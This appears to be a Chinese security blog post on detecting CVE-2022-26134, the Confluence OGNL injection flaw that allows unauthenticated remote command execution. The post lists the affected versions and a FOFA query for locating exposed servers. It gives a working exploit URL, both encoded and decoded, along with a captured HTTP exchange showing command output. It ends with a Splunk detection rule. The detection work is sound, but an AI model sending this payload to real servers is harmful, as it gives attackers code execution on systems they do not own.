CVE-2022-26134-Confluence OGNL表达式注入命令执漏洞流量特征

简介

Confluence是一个专业的企业知识管理与协同软件，也可以用于构建企业wiki。使用简单，但它强大的编辑和站点管理特征能够帮助团队成员之间共享信息、文档协作、集体讨论，信息推送。

Confluence Server and Data Center存在一个远程代码执行漏洞，未经身份验证的攻击者可以利用该漏洞向目标服务器注入恶意ONGL表达式，进而在目标服务器上执行任意代码。

受影响范围

Confluence Server and Data Center >= 1.3.0
Confluence Server and Data Center < 7.4.17
Confluence Server and Data Center < 7.13.7
Confluence Server and Data Center < 7.14.3
Confluence Server and Data Center < 7.15.2
Confluence Server and Data Center < 7.16.4
Confluence Server and Data Center < 7.17.4
Confluence Server and Data Center < 7.18.1
1
2
3
4
5
6
7
8

EXP/POC

请勿用做非法用途，仅用于检测测试，提取流量特征。

fofa语法：icon_hash=“-305179312”

/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/
1

URL decode

/${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("' command '").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}/
1

Http报文

GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: x.x.x.x:81
User-Agent: python-requests/2.27.1
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive

HTTP/1.1 302 
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1654694968696
Set-Cookie: JSESSIONID=D7258B0DCEE36AE8056A8853FDCE6E69; Path=/; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-Cmd-Response: uid=2002(confluence) gid=2002(confluence) groups=2002(confluence) 
Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Date: Wed, 08 Jun 2022 13:29:28 GMT
Keep-Alive: timeout=20
Connection: keep-alive
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

检测思路

参考splunk官方建议

Splunk公开规则

| tstats count min(_time) as firstTime max(_time)
  as lastTime from datamodel=Web where Web.url IN ("*${*", "*%2F%7B*") (Web.url="*org.apache.commons.io.IOUtils*" Web.url="*java.lang.Runtime@getRuntime().exec*") OR (Web.url="*java.lang.Runtime%40getRuntime%28%29.exec*") OR (Web.url="*getEngineByName*" AND Web.url="*nashorn*" AND Web.url="*ProcessBuilder*")
  by Web.http_user_agent Web.http_method, Web.url,Web.url_length Web.src, Web.dest sourcetype
  | `drop_dm_object_name("Web")`
  | `security_content_ctime(firstTime)` 
  | `security_content_ctime(lastTime)` 
  | `confluence_unauthenticated_remote_code_execution_cve_2022_26134_filter
1
2
3
4
5
6
7

对url中包含"%24%7B"或者"/${*"进行重点监测。可结合"java.lang.Runtime%40getRuntime%28%29.exec"进行辅助研判。

参考推荐

atlassian-confluence-vulnerability-cve-2022-26134

https://www.splunk.com/en_us/blog/security/atlassian-confluence-vulnerability-cve-2022-26134.html

CVE-2022-26134漏洞复现(Confluence OGNL注入rce漏洞)

https://blog.csdn.net/qq_17754023/article/details/125125221